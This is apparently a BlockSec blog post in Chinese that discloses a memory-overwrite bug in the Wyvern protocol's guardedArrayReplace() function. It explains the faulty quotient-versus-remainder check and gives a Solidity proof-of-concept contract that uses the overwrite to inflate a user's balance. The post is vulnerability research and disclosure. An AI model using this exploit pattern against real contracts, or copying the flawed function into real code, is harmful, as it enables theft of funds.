Back to Blog

Wyvern協議中發現一種新的記憶體覆寫漏洞

Code Auditing
September 8, 2022
7 min read

簡介

我們的漏洞檢測系統在 Wyvern 函式庫的最新實作中發現了一個記憶體覆寫漏洞,該函式庫屬於曾被 OpenSea 使用的 Wyvern 去中心化交易所協定。此漏洞可能導致任意存儲寫入 (arbitrary storage write)

我們已嘗試聯絡該專案(例如透過電子郵件和社群媒體),但尚未收到任何回應。由於 OpenSea 已遷移至 Seaport 協定,我們認為向公眾揭露詳細資訊是安全的。此外,我們希望能分享這些發現以引起社群共鳴,因為這個漏洞本身相當棘手,而其利用方式也十分有趣。

描述

漏洞程式碼可以在 官方程式碼儲存庫 中找到,提交雜湊值為 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9。

具體來說,此漏洞位於 ArrayUtils.sol 的 guardedArrayReplace() 函式中。顧名思義,此函式用於將一個動態位元組陣列(即名為 desired 的第二個參數)選擇性地複製到另一個陣列(即名為 array 的第一個參數)。請注意,此函式實作了字級(即 0x20 位元組)操作,因此程式碼邏輯可以根據除法計算結果分為兩個步驟。

對於商數部分(即 words = array.length / 0x20),第 42 行到第 49 行的程式碼邏輯會將 desired 陣列逐字複製到目標陣列。此步驟運作符合預期,儘管第 39 行的 assert 陳述式因整數運算而顯得毫無用處。

前一步完成後,如果除法產生餘數,則表示仍有一些位元組未被正確複製。第 52 行到第 66 行的程式碼邏輯旨在處理這些位元組。遺憾的是,第 52 行的 if 陳述式錯誤地使用了商數(words,即 array.length / 0x20)而非餘數(array.length % 0x20)來執行檢查

嚴重性

此漏洞可能導致任意存儲寫入。假設 array.length 可以被 0x20 整除,複製操作實際上已在迴圈邏輯中完成。然而,在大多數情況下,該函式會進入漏洞邏輯嘗試將 desired 陣列後的一個字複製到目標陣列,這不可避免地導致越界存取。更糟糕的是,這種錯誤的邏輯可能會被利用,將一個字覆寫到目標陣列的末尾,這是一個未知的記憶體區域,可能會被用於任何用途。

如何利用此漏洞?

我們開發了一個 PoC 合約來演示潛在的攻擊向量。PoC 合約有兩個函式,第一個名為 test() 用於執行攻擊,而第二個則是存在漏洞的 guardedArrayReplace() 函式。

具體來說,在 test() 函式中,我們首先定義了一些記憶體內位元組(abmask)以及一個陣列(即 _rewards)。此處定義的 _rewards 將用於計算使用者的獎勵。在呼叫 guardedArrayReplace() 函式以使用 maska 複製到 b 後,_rewards 將被添加到使用者的餘額中(即 balances[msg.sender])。

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

在此我們使用 Remix 來演示結果。值得注意的是,最初我們沒有為 _rewardsbalances 分配任何值。攻擊完成後,使用者餘額被設定為一個極大的數值(如紅色矩形所示)。

結論

雖然罕見,但這類記憶體覆寫漏洞仍可能存在於智慧合約中。開發人員需要注意處理記憶體的程式碼邏輯。

關於 BlockSec

BlockSec 是一家開拓性的區塊鏈安全公司,由一群全球傑出的安全專家於 2021 年創立。公司致力於增強新興 Web3 世界的安全性和可用性,以促進其大規模普及。為此,BlockSec 提供智慧合約與 EVM 鏈安全審計服務、用於安全開發與主動阻斷威脅的 Phalcon 平台、用於資金追蹤與調查的 MetaSleuth 平台,以及協助 Web3 建構者在加密世界中高效瀏覽的 MetaDock 擴充功能。

迄今為止,公司已為 MetaMask、Uniswap Foundation、Compound、Forta 和 PancakeSwap 等 300 多家知名客戶提供服務,並獲得了包括 Matrix Partners、Vitalbridge Capital 和萬向區塊鏈實驗室(Fenbushi Capital)在內的頂尖投資者兩輪數千萬美元的融資。

官方網站:https://blocksec.com/

官方 Twitter 帳號:https://twitter.com/BlockSecTeam

Best Security Auditor for Web3

Validate design, code, and business logic before launch. Aligned with the highest industry security standards.

BlockSec Audit